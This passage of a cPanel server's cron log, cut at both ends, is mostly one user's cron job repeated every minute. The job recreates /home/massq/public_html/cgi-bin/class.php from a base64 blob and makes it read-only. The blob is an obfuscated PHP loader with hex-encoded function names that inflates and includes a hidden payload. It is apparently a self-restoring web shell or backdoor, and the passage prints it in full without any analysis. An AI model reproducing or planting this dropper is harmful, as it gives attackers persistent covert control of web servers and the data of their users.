7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:19:01 server CROND[10655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:20:01 server CROND[10715]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 02:20:01 server CROND[10717]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 02:20:01 server CROND[10724]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 02:20:01 server CROND[10725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:20:01 server CROND[10727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 02:21:01 server CROND[10931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:22:01 server CROND[10977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:23:01 server CROND[11049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:24:01 server CROND[11098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:25:01 server CROND[11155]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 02:25:01 server CROND[11156]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  7 02:25:01 server CROND[11157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:25:01 server CROND[11158]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 02:26:01 server CROND[11262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:27:01 server CROND[11437]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 02:27:01 server CROND[11438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:28:01 server CROND[11494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:29:01 server CROND[11546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:30:01 server CROND[11619]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 02:30:01 server CROND[11620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 02:30:01 server CROND[11621]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 02:30:01 server CROND[11622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:31:01 server CROND[11729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:32:01 server CROND[11773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 